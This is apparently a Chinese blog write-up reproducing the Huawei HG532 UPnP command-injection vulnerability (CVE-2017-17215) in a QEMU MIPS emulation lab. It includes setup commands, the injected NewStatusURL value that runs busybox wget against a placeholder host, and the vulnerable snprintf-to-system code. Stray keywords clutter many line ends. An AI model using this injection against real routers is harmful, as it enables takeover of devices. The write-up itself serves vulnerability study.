2017/11/27,Check Point 軟件技術部門報告了一個華爲 HG532 產品的遠程命令執行漏洞(CVE-2017-17215),Mirai的升級版變種中已經使用該漏洞。看起來是個很簡單的漏洞了,書上得來終覺淺,須知此事要躬行,復現和分析的過程當中遇到不少坑,寫文記錄一下詳細步驟。linux
華爲已經發了漏洞公告,固件已經升級到HG532eV100R001C02B017_upgrade_main.bin。從論壇裏找到了帶漏洞版本件,HG532eV100R001C02B015_upgrade_main.bin。ubuntu
分析環境是ubuntu 16.04.網絡
先用binwalk 解壓一下:架構
根據 Check Point 的報告,漏洞點位於 UPnP 服務中,file命令看一下,能夠看到upnp應該是跑在MIPS 32 位 大端架構系統app
安裝 qemu:ssh
sudo apt-get install qemu 工具
sudo apt-get install qemu-user-static學習
sudo apt-get install qemu-systemurl
安裝網絡配置工具:spa
apt-get install bridge-utils uml-utilities
修改 ubuntu主機網絡配置,將ubuntu主機系統中的網絡接口配置文件 /etc/network/interfaces 修改成以下內容:
建立QEMU的網絡接口啓動腳本(/etc/qemu-ifup)並保存爲以下內容:
賦予文件/etc/qemu-ifup 可執行權限:
sudo chmod a+x /etc/qemu-ifup
重啓網絡使全部的配置生效:
sudo /etc/init.d/networking restart
關閉ens33,啓動橋連網絡br0
sudo ifdown eth0
sudo ifup br0
從https://people.debian.org/~aurel32/qemu/mips/下載對應的debian mips qemu鏡像
其餘的帖子裏有各類下載qemu鏡像的地址,試了幾個下載都很差用,各類坑
我下載的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。
啓動qemu運行剛鏡像:
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap
好的,假如一切順利,能夠看到一個qemu虛擬機,用root/root登陸進去:
發現網絡不通,ifconfig -a 看一下發現網絡接口爲eth1:
將nano /etc/network/interfaces 文件中的eth0改成eth1:
再用ifup eth1 將eth1啓起來,運氣好的話此時網絡已經好了。
直接操做虛擬機顯然比較麻煩,在ubuntu上搞個SSH 連進來,ssh root@虛擬機ip
將以前解壓的固件包拷貝到虛擬機裏面:
scp -r ./squashfs-root root@虛擬機ip:/root/
完成搭建路由器固件運行的環境。
第一個問題是怎麼讓路由器裏的服務啓起來,咱們也不知道是哪一個文件會去處理80端口過來的請求,先看下checkpoint報告裏的payload
在固件文件夾下搜一下 ctrlt 和 DeviceUpgrade_1,並無文件名含有這2個詞語,再搜下包含這2個詞語的文件:
找到固件所在的位置,想直接執行下upnp這個文件,報錯,缺乏相應的so文件形成。
chroot /root/squashfs-root /bin/sh來切換根目錄到路由器文件系統,執行成功:
那找下端口37215
端口號只出如今mic文件內,看下文件內容:
看字符串像是一個跟網絡服務相關的文件,試下運行一下:
看起來像是對了,
ubuntu上nc -vlp 80 監聽一下端口,跑一下exp,80端口收到路由器發來的wget 請求包。
4.簡單分析:
分析一下upnp中的關鍵代碼:
根據上面payload圖,newstatusurl這個節點值爲 <NewStatusURL>$(busybox wget -g xxxx ;xx;xx)</NewStatusURL>
snprintf(a0,0x400,"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -",a3)
其中a0是拷貝的源字符串的地址,同時a0又是system 調用的第一個參數。因此最後會執行
system(a0)
若是看完整篇文章想上手試一下路由器漏洞的話,不要忘了當初你是爲何放棄的.